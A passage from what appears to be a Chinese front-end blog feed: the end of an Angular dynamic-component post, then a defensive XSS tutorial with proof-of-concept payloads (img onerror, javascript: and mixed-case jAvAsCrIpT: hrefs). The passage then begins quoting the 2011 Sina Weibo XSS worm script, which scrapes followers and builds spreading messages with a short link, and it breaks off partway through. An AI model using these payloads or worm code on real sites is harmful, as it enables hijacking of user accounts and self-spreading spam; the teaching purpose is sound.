class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { Component, OnInit, Input, ViewChild, ComponentFactoryResolver, ViewContainerRef, ComponentRef } <span class="keyword">from</span> <span class="string">'@angular/core'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> selector: <span class="string">'ad-place'</span>,</span><br><span class="line"> template: <span class="string">`</span></span><br><span class="line"><span class="string"> <div></span></span><br><span class="line"><span class="string"> <h1>Dynamic Component Place:</h1></span></span><br><span class="line"><span class="string"> <div #dync></div></span></span><br><span class="line"><span class="string"> <h2>Footer</h2></span></span><br><span class="line"><span class="string"> </div>`</span></span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> DynamicPlaceComponent <span class="keyword">implements</span> OnInit {</span><br><span class="line"> <span class="comment">// read 选项表示我们不获取视图的元素引用,而是获取元素的视图容器</span></span><br><span class="line"> <span class="meta">@ViewChild</span>(<span class="string">'dync'</span>, { read: ViewContainerRef }) vcf: ViewContainerRef</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">private</span> dyncCompArr: <span class="built_in">any</span>[] = [DynamicComponentOne, DynamicComponentTwo]</span><br><span class="line"> <span class="keyword">private</span> currentIndex: <span class="built_in">number</span> = <span class="number">0</span></span><br><span class="line"> <span class="keyword">private</span> intervalId: <span class="built_in">number</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">constructor</span>(<span class="params"><span class="keyword">private</span> cfr: ComponentFactoryResolver</span>) { }</span><br><span class="line"></span><br><span class="line"> ngOnInit() {</span><br><span class="line"> <span class="keyword">this</span>.loadComponent()</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">this</span>.intervalId = setInterval(_ => {</span><br><span class="line"> <span class="keyword">this</span>.loadComponent()</span><br><span class="line"> }, <span class="number">3000</span>)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> loadComponent() {</span><br><span class="line"> <span class="keyword">this</span>.currentIndex === <span class="number">1</span> ? <span class="keyword">this</span>.currentIndex = <span class="number">0</span> : <span class="keyword">this</span>.currentIndex++</span><br><span class="line"> <span class="keyword">const</span> comp = <span class="keyword">this</span>.dyncCompArr[<span class="keyword">this</span>.currentIndex]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> adFactory = <span class="keyword">this</span>.cfr.resolveComponentFactory(comp)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 清空视图容器中的所有动态组件,如果不加这一步的话,就可以插入多个动态组件</span></span><br><span class="line"> <span class="keyword">this</span>.vcf.clear()</span><br><span class="line"> <span class="keyword">const</span> componentRef: ComponentRef<<span class="built_in">any</span>> = <span class="keyword">this</span>.vcf.createComponent(adFactory)</span><br><span class="line"> componentRef.instance.nowDate = <span class="keyword">new</span> <span class="built_in">Date</span>()</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ngOnDestroy() {</span><br><span class="line"> clearInterval(<span class="keyword">this</span>.intervalId)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> template: <span class="string">`<div> i am dynamic component one </div></span></span><br><span class="line"><span class="string"> <div> it is {{ nowDate }} </div></span></span><br><span class="line"><span class="string"> `</span></span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> DynamicComponentOne {</span><br><span class="line"> <span class="meta">@Input</span>() nowDate: <span class="built_in">string</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> template: <span class="string">`<div> i am dynamic component two </div></span></span><br><span class="line"><span class="string"> <div> it is {{ nowDate }} </div>`</span></span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> DynamicComponentTwo {</span><br><span class="line"> <span class="meta">@Input</span>() nowDate: <span class="built_in">string</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><a href="https://ngplay.stackblitz.io" target="_blank" rel="noopener">戳这里可以查看效果</a></p><p>在上面这个例子中,我们做了这些事情:</p><ol><li>通过<code>@ViewChild</code>得到想绑定动态组件插入位置的视图元素的<code>ViewContainerRef</code></li><li>通过<code>ComponentFactoryResolver</code>来得到动态组件</li><li>通过<code>ViewContainerRef</code>创建组件实例,并向组件实例传递绑定数据。</li></ol><p>通过这样的一个思路和实现,我们将动态组件的绑定,编译,创建渲染,数据传递这些动作,完美的进行了解耦。</p><p>在后续的优化中,我们至少可以做以下几件事情来让这个动态组件的模组更加强壮:</p><ol><li>将<code>#dync</code>模块引用变量换成一个属性型指令,通过向指令中注入<code>ViewContainerRef</code>来让它帮我们获取插入元素的位置。这样我们可以在组件中多处插入动态组件,不再局限于一个元素上。</li><li>将盛放动态组件数组的<code>dyncCompArr</code> 的获取以及组件输入属性的获取委托给服务,而不是写死在组件里。</li><li>扩充<code>ViewContainerRef</code> 容器管理组件的逻辑(我们现在只是简单的使用了它的<code>createComponet</code>方法来创建组件,但其实它可以做很多事情),使其可以同时加载多个组件或者按需进行组件的增删。</li><li>将动态组件类型约束为一个<code>interface</code> 或者<code>class</code> ,从而保证动态组件高自由度下的健壮</li></ol><p>在经过这样的优化之后,我们可以通过后台我们的动态组件的基础功能已经具有了相当高的可维护性和可扩展性了。我们可以在服务中从任意位置(例如后台接口)获取需要动态加载的组件的列表和绑定数据,我们可以管理(例如替换,清空,删除)当前已经加载的动态组件,我们还可以通过一个简单的元素属性来变更或者增加动态组件的插入位置。</p><p>回头看一下,通过引入几个类似<code>ViewContainerRef</code>的概念并遵循特定的实现方式,我们实现了一个简单又健壮的动态组件的展示脚手架,它足以应对后续繁多的变化。</p><p>这也是<code>Angular</code>的特点体现之处了: 更工程化和模式化的开发方式,也意味着更高的门槛,更长的开发周期,当然也意味着更容易的维护。</p><p>从框架的角度来讲,<code>Angular</code>几乎接管了你前端开发涉及到的所有东西,从表单,路由,请求,动画,<em>i18n</em> 到构建,测试,发布,以及<code>AOT</code>,移动端,<code>SSR</code>,<code>Native</code>等等等等,相比<code>Vue</code>,它不再像一个<code>Framework</code>型的前端框架,而是越来越接近一个<code>Platform</code>型的前端开发平台。</p><p>还记得我们在<code>Vue</code>中提到的<code><keep-alive></code>标签吗 ?在<code>Angular</code>中,如果想让动态组件实现<code><keep-alive></code>效果,我们就需要自己去实现组件缓存策略,在实现之后,和动态组件一样,我们会拥有相比<code><keep-alive></code>标签更大的自由,我们可以决定哪些组件会被缓存,在什么情况下才缓存,我们可以控制它的缓存次数,可以在取出缓存组件时对其进行修改,替换,可以在后台配置好缓存条件再通过接口发送给前端。</p><p>现在问题来了,类似下面这三行<code>Vue</code>代码,如果用<code>Angular</code>实现的话,需要引入若干个类,定义若干个<code>interface</code>,创建若干个<code>service</code>,简而言之,就是需要更长时间的学习,写更多的代码。但好消息是,在完成了所有工作之后,我们就拥有了自由定制与这三行代码有关的所有过程的能力和可能,同时还能保证它在广义意义上的可维护性。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">keep-alive</span>></span></span><br><span class="line"><span class="tag"><<span class="name">dynamic-comp</span>></span><span class="tag"></<span class="name">dynamic-comp</span>></span></span><br><span class="line"><span class="tag"></<span class="name">keep-alive</span>></span></span><br></pre></td></tr></table></figure><p>这样是值得的吗?这个问题,其实已经不单纯的是一个技术问题了,它会涉及到项目规模,开发周期,人员组成,资金成本,技术成本,甚至公司的开发氛围,大环境的趋势等等等等,已经难以一言蔽之了。</p><p>当然,很有一些人喜欢说一些不应该拘泥于技术,技术只是工具这种车轱辘话来掩盖自己其实也不知道答案,就只好随便选一选的事实。问题是,对于程序员来说,技术如果只是一种工具的话,和一个咸鱼有什么区别?剑客以剑为生,却不执着于剑,反倒说剑只是一种工具,只要能杀敌就行,我是总觉得不太合适的。就算飞花摘叶,皆可伤人,那也是追求剑道到极致才能做到的啊。</p><p>那,你可能会说了,你说的一套一套的,那你的答案呢,你的答案是什么?其实,有句讲句,我也整不太明白,不过为了让我自己不再纠结这个问题,我打算再去看看<code>React</code>(逃。。。</p><p>本篇博客到此结束,感谢阅读(^_^)a</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> Angular </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> Angular </tag>
<tag> Vue </tag>
</tags>
</entry>
<entry>
<title>前端安全之XSS</title>
<link href="/2018/10/27/XSS/"/>
<url>/2018/10/27/XSS/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><strong><em>XSS</em></strong> 漏洞是前端安全领域里最常见的安全漏洞之一,因为它的攻击方式灵活,可操作性极强,经常被hacker用来做渗透和攻击。作为一名前端工程师,非常有必要了解一下<code>XSS</code>的具体形式和常用的防范手段,从而在日常的开发工作中能够有意识的进行防范。</p><p>今天这篇博客,我们就来详细的介绍一下,<code>XSS</code>是个什么东西。</p></blockquote><a id="more"></a><p><code>XSS</code><strong>(Cross Site scripting)</strong>, 全称<strong><em>跨站脚本攻击</em></strong>,是在<em>web</em>应用中的一种计算机安全漏洞,指<strong>恶意用户将代码植入到提供给其它用户使用的页面中</strong>。</p><p>首先我们需要纠正一个误区,那就是你自己在页面写了一个输入框,然后又写了个在输入框输入内容时将内容插入页面的逻辑,然后自己在输入框输入一些个<code><script></code>标签和<code>js</code>代码,弹出个弹窗什么的,这并不是<em>XSS</em>攻击,因为这是你自己的页面和浏览器,你爱干嘛干嘛。(我已经见到过好几篇博客拿这种方式来说明XSS漏洞了!!!)</p><p>要搞清楚的一个概念是,只有在你通过各种注入方式向 <strong><em>其它用户可以访问到的页面中</em></strong> 植入了恶意脚本,才叫作<em>XSS</em>攻击,你在只有自己能打开的页面里玩各种注入是没用,毕竟你打开控制台,想干什么干什么,还用得着通过输入框什么的获取。。。。这也是很多同学因为各种误导,容易被绕进去的一个地方。</p><blockquote><p>为了不和层叠样式表缩写<code>CSS</code>混淆,故其缩写为<code>XSS</code>。</p></blockquote><h2 id="XSS-分类"><a href="#XSS-分类" class="headerlink" title="XSS 分类"></a>XSS 分类</h2><p>首先,<code>XSS</code>按照攻击方式和注入位置的不同,可以大概分为三类。</p><p>1.<strong>Dom-Based XSS</strong></p><p>基于本地或<code>DOM</code>的客户端<code>XSS</code>攻击行为。<br>与后面两种更靠近服务端的<code>XSS</code>攻击不同的是,因为全部的<code>XSS</code>行为都是前端浏览器完成的,属于必须由前端防范的漏洞。</p><p>典型的步骤如下:</p><ol><li>A 向 B 发送含有恶意代码或脚本地址的 <em>URL</em></li><li>B 点击打开 <em>URL</em></li><li>服务端返回正常 <em>HTML</em> 页面,但正常页面的逻辑中包含有使用 <em>URL</em> 参数的行为(比较常见于<em>SPA</em>中)。</li><li>前端 <em>JavaScript</em> 取出 URL 中的参数,未经转义将其插入页面,然后被执行。</li></ol><p>2.<strong>Reflected XSS</strong></p><p>基于反射的<code>XSS</code>攻击行为,常见于后端通过获取 <em>URL</em> 参数来生成 <em>HTML</em> 页面并返回时(如搜索)</p><ol><li>A 向 B 发送一个恶意构造的 <em>URL</em>(一般是将 <em>URL</em> 的<code>query</code>中某字段值设置为 <em>JS</em> 代码或 <em>JS</em> 脚本地址</li><li>B 点击 <em>URL</em> 向服务器请求页面</li><li>后端接受到请求,<strong><em>未经转义</em></strong> 就使用了<em>URL</em>的参数生成<em>HTML</em>页面返回给前端</li><li>前端浏览器渲染页面时就会运行恶意的<em>js</em>代码或引入恶意的<em>js</em>脚本。<blockquote><p>反射式 <em>XSS</em> 和 基于<em>DOM</em> 的 <em>XSS</em> 都是主要通过<em>URL</em>实现,但它们的不同点在于,反射式<em>XSS</em> 是后端将恶意代码(例子中的<em>URL</em>中的参数)插入了页面,而基于<em>DOM</em>的<em>XSS</em>攻击是前端将恶意代码插入了页面。</p></blockquote></li></ol><p>3.<strong>Stored XSS</strong><br>基于存储的<em>XSS</em>攻击。<br>典型步骤如下:</p><ol><li>A 将 自己的用户名(或者类似发表文章等发布其它用户可见的内容)修改为一段恶意<em>JS</em>代码或一个<em>JS</em>脚本地址</li><li>前端<strong><em>未经转义</em></strong>就直接将用户名发送到后端</li><li>服务器接收到 A 提交的用户名<strong>未经转义</strong>就直接存储到了数据库或类似位置</li><li>前端在需要 A 用户的数据时(例如其它用户访问了 A 的个人主页,或者其它类似用户列表等等需要展示 A 信息的地方), 向后端请求页面或者数据</li><li>后端返回使用了 A 数据生成的<em>HTML</em>页面, 或者返回了包含 A 数据的 <em>HTTP</em>响应,前端未经转义直接将 A 的数据添加到了页面内容中。</li><li>前端渲染页面,运行了恶意的<em>js</em>代码或引入恶意的<em>js</em>脚本。</li></ol><blockquote><p>后端未经转义直接将用户提交的数据存入数据库,除了会导致前端被<em>XSS</em>攻击外,还可能导致后端的<em>SQL</em>注入漏洞, 这是另一个比较著名的<em>web</em>应用攻击方式。</p></blockquote><h2 id="应对"><a href="#应对" class="headerlink" title="应对"></a>应对</h2><p>作为注入攻击的一种,<em>XSS</em>的应对之道其实也并不难想,恶意用户可能从<code>URL</code>链接,<code>form</code>提交,AJAX请求等手段将<em>JS</em>脚本注入到我们的<em>HTML</em>页面中去,那我们就需要在每个可能的注入位置都增加过滤和验证来防范这种攻击。</p><p>首先,对于用户的任何输入,不管是我们在前端直接使用,还是传递到后端,都需要采取不信任的原则,进行严格的转义和过滤。</p><p>在前端来说,对于每一个动态生成的<em>HTML</em>,我们在编写逻辑时都需要考虑一下,我们使用的值是否是可靠的。<br>先来看一个简单的例子:</p><figure class="highlight html"><figcaption><span>HTML</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">p</span> <span class="attr">id</span>=<span class="string">"p"</span>></span><span class="tag"></<span class="name">p</span>></span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> p = <span class="built_in">document</span>.querySelector(<span class="string">'#p'</span>)</span><br><span class="line"> <span class="keyword">var</span> urlParams = parseUrl(location.href)</span><br><span class="line"> </span><br><span class="line"> p.innerHTML = urlParams[<span class="string">"id"</span>]</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">parseUrl</span>(<span class="params">url</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> result = {};</span><br><span class="line"> <span class="keyword">var</span> query = url.split(<span class="string">"?"</span>)[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">var</span> queryArr = query.split(<span class="string">"&"</span>);</span><br><span class="line"> </span><br><span class="line"> queryArr.forEach(<span class="function"><span class="keyword">function</span>(<span class="params">item</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> value = item.split(<span class="string">"="</span>)[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">var</span> key = item.split(<span class="string">"="</span>)[<span class="number">0</span>];</span><br><span class="line"> result[key] = value;</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果页面URL的参数内容是一段<em>JS</em>脚本,例如<code>www.some.com?name=</p><img src="www.noimg.com" /onerror="prompt(1)"><!--</code>,页面就遭受到了<em>XSS</em>攻击。<br>因此,我们首先要针对注入内容中的HTML标签进行转义,尤其是<code><script></code>,<code><img></code>,<code><link></code>,<code><iframe></code>等可跨域请求资源的标签, 需要特别注意进行过滤。<br>下面是一个简单的转义HTML标签中特殊符号的函数。<br></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escapeHtml</span>(<span class="params">unsafe</span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> unsafe</span><br><span class="line"> .replace(<span class="regexp">/&/g</span>, <span class="string">"&amp;"</span>)</span><br><span class="line"> .replace(<span class="regexp">/</g</span>, <span class="string">"&lt;"</span>)</span><br><span class="line"> .replace(<span class="regexp">/>/g</span>, <span class="string">"&gt;"</span>)</span><br><span class="line"> .replace(<span class="regexp">/"/g</span>, <span class="string">"&quot;"</span>)</span><br><span class="line"> .replace(<span class="regexp">/'/g</span>, <span class="string">"&#039;"</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p></p><p>当然,道高一尺,魔高一丈,<code>XSS</code>的攻击注入方式绝不会这么简单(简单的过滤和转义如果完全有用的话也不会动不动就跳出个网站被攻击的新闻)。</p><p>所以也应运而生了一些特别的防御方法,我们这里介绍两个比较典型的。</p><p>第一种,就是全文扫描异常属性和事件,把整个页面过一遍,因为一般<em>XSS</em>攻击都会经过一些奇怪的编码和转换,在正常的生产开发中极少会用到这种形式, 因此可以通过全文过滤异常的字符和代码来检测可能的漏洞征兆。但这种方式一来实在是有些土,二来漏洞不一定防的住,页面性能倒是实实在在的低的不行,在早期的web页面中还有人用,现在我估计应该基本已经没人这么干了。</p><p>第二种方法相比第一种就高级一些了,它利用了<em>DOM</em>元素的捕获-目标-冒泡的事件机制,在捕获阶段对事件进行识别和监听,从而主动防御,避免<em>XSS</em>常见的通过內联事件触发攻击的行为。<br>当然,一个方法大多只能堵住一个地方,github上也有一个项目举办过多届<a href="https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" target="_blank" rel="noopener">XSS攻击挑战赛</a>来帮助大家防范和识别各种注入,其中的注入手段真可谓千奇百怪,让人拍案叫绝。有兴趣的同学可以看一下。</p><p>除了上面例子的情况,还存在另一种情况,我们没有直接使用<em>URL</em>中的查询参数插入<em>HTML</em>, 而是作为了元素属性。</p><p>如下这个例子,我们把<code><p></code>标签换成<code><a></code>标签,获取<em>URL</em>中的<strong><em>redirect_to</em></strong>查询参数作为<code><a></code>标签的<code>href</code>属性。</p><figure class="highlight html"><figcaption><span>HTML</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">a</span> <span class="attr">id</span>=<span class="string">"link"</span>></span>click it<span class="tag"></<span class="name">a</span>></span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> p = <span class="built_in">document</span>.querySelector(<span class="string">'#link'</span>)</span><br><span class="line"> <span class="keyword">var</span> url = parseUrl(location.href)</span><br><span class="line"> </span><br><span class="line"> link.setAttribute(<span class="string">'href'</span>, url[<span class="string">'redirect_to'</span>])</span><br><span class="line"> <span class="comment">// 注意,如果我们此处写成 link.href = url['redirect_to'], </span></span><br><span class="line"> <span class="comment">// 那我们就还需要注意上面例子提到的HTML标签的过滤了</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">parseUrl</span>(<span class="params">url</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> result = {};</span><br><span class="line"> <span class="keyword">var</span> query = url.split(<span class="string">"?"</span>)[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">var</span> queryArr = query.split(<span class="string">"&"</span>);</span><br><span class="line"> </span><br><span class="line"> queryArr.forEach(<span class="function"><span class="keyword">function</span>(<span class="params">item</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> value = item.split(<span class="string">"="</span>)[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">var</span> key = item.split(<span class="string">"="</span>)[<span class="number">0</span>];</span><br><span class="line"> result[key] = value;</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当页面的<em>URL</em>被构造为<code>www.some.com?redirect_to=javascript:propmt(1)</code>,点击<code><a></code>标签,页面再一次遭受到了<em>XSS</em>攻击。<br>这种情况,我们就不光需要对<code>HTML</code>进行转义了,还必须对<code>JS</code>进行过滤。<br>你可能会想,我直接检测参数是否包含<code>javascript</code>来判断内容是不是脚本不就行了。<br>但需要注意,以下这种大小写混合的形式,也会被浏览器当作<code>JS</code>代码执行,过滤的时候不要忘记。<br></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">a</span> <span class="attr">href</span>=<span class="string">"jAvAsCrIpT:prompt(1)"</span> /></span></span><br></pre></td></tr></table></figure><p></p><blockquote><p>在历史上,IE浏览器还支持过<code>href='vbscript:msgbox "hello'</code>这种形式的脚本调用,这种画蛇添足的无趣行为也只有IE干的出,不知害苦了当时的多少站长和论坛</p></blockquote><p>在上面的例子中,这种前端获取URL跳转地址然后直接跳转的实现,从设计原则上来说并不是十分正确。理想的情况下,应该将跳转地址交给后端,然后再从后端获取,这样我们就可以在后端通过检验<code>schema</code>,配置白名单等,彻底将这种通过<em>URL</em>进行<em>XSS</em>攻击的路堵死。</p><p>在现代浏览器中,通常都会自动的对<em>URL</em>进行解析,例如我们经常在<em>URL</em>中看到的<code>%20</code>等字符,就是被编码过的空格字符,因此通过<em>URL</em>进行<em>HTML</em>标签式注入还是比较有难度的。但这并不意味着我们就可以高枕无忧了,不说上面那种<code>javascript:prompt(1)</code>形式的属性注入,在实际浏览器编码<em>URL</em>还比较混乱的情况下, 关键的地方,还是要更相信自己一点比较好,自己来加上URL编码。</p><p><em>JS</em>中的<code>encodeURI()</code>函数和<code>encodeURICoponent()</code>方法,就是专门用来为<em>URL</em>编码的,在进行有关<em>URL</em>的敏感操作时,使用这两个函数,能大大降低被<em>XSS</em>攻击的风险。</p><blockquote><p>这也大概就是前端总给人比较嘈杂琐碎感觉的原因吧,放着 <code>RFC 3987</code>标准不用,各浏览器非要自己去实现URL编码规则,关键还大同小异又不完全一样,再加上不同<em>WEB</em>服务器对各种编码形式的<em>URL</em>的不同处理方式,真的是令人头疼。。。</p></blockquote><p>总之,不要相信自己眼睛看到的浏览器<em>URL</em>编码结果,很可能服务器接受到的和最终渲染出来的结果会令你出乎意外,在可以自己编码时,就尽量加上。</p><p>另外,在现代的大多数前后端框架中,都内部集成了相关的防注入措施,例如<code>Angular</code>的离线模板编译器,<code>vue</code>模板默认不解释<code><script></code>标签等,为我们防范<em>XSS</em>攻击提供了许多的帮助。</p><p>我们在上面介绍了基本的<em>XSS</em>攻击和对应的防范措施,那万一攻击者真的突破了层层防范,将恶意脚本注入了我们的页面,我们该怎么办呢?<br>毕竟根据墨菲定律,有概率发生的,就一定会发生。其实我们仔细考虑一下,入侵者在注入脚本之后,最大的可能就是去获取用户的<code>Cookie</code>然后伪造用户的请求信息进行一些非法操作。<br>我们需要做的也非常简单,在必要的时候,将<code>Cookie</code>设置为<code>http-only</code>, 即只允许<em>http</em>请求使用,不允许通过<em>JS</em>通过<code>document.cookie</code>读取即可, 当然,这就是后端的事情了。<br>如下所示是<em>JAVA</em>的<code>JAVAEE</code>框架为<code>cookie</code>添加<code>HttpOnly</code>的代码:<br></p><figure class="highlight java"><figcaption><span>Java</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">response.setHeader(<span class="string">"Set-Cookie"</span>,<span class="string">"cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly"</span>);</span><br></pre></td></tr></table></figure><p></p><blockquote><p>eg. 我并不懂<em>java</em>,只是拿这段代码做个示范,每个语言实现cookie的HttpOnly的方式也是不同的,需要时自己查阅文档即可。</p></blockquote><h2 id="事件"><a href="#事件" class="headerlink" title="事件"></a>事件</h2><p>在11年,新浪微博曾遭受过一次影响和规模比较大的反射式<code>XSS</code>攻击,详见<a href="https://www.zhihu.com/topic/19620661/hot" target="_blank" rel="noopener">XSS 攻击新浪微博事件</a>,黑客通过<em>URL</em>注入脚本,进而获取点击了<em>URL</em>的用户的操作权限,通过发送微博和向其粉丝发送私信来二次传播恶意的URL,最终导致大量用户被新浪系统视为恶意传播营销进而封禁,最过分的是这个黑客还给自己刷了30万的粉丝,也是十分的朋克了。</p><p>附上当时黑客的脚本代码,供大家观摩一下(你别说,代码风格还挺不错的,另外那几个<code>msgs</code>里的字符串也是相当吸睛,完全可以媲美UC小编。。。。。<br></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">createXHR</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">window</span>.XMLHttpRequest?</span><br><span class="line"><span class="keyword">new</span> XMLHttpRequest():</span><br><span class="line"><span class="keyword">new</span> ActiveXObject(<span class="string">"Microsoft.XMLHTTP"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getappkey</span>(<span class="params">url</span>)</span>{</span><br><span class="line">xmlHttp = createXHR();</span><br><span class="line">xmlHttp.open(<span class="string">"GET"</span>,url,<span class="literal">false</span>);</span><br><span class="line">xmlHttp.send();</span><br><span class="line">result = xmlHttp.responseText;</span><br><span class="line">id_arr = <span class="string">''</span>;</span><br><span class="line">id = result.match(<span class="regexp">/namecard=\"true\" title=\"[^\"]*/g</span>);</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i<id.length;i++){</span><br><span class="line">sum = id[i].toString().split(<span class="string">'"'</span>)[<span class="number">3</span>];</span><br><span class="line">id_arr += sum + <span class="string">'||'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> id_arr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">random_msg</span>(<span class="params"></span>)</span>{</span><br><span class="line">link = <span class="string">' http://163.fm/PxZHoxn?id='</span> + <span class="keyword">new</span> <span class="built_in">Date</span>().getTime();;</span><br><span class="line"><span class="keyword">var</span> msgs = [</span><br><span class="line"><span class="string">'郭美美事件的一些未注意到的细节:'</span>,</span><br><span class="line"><span 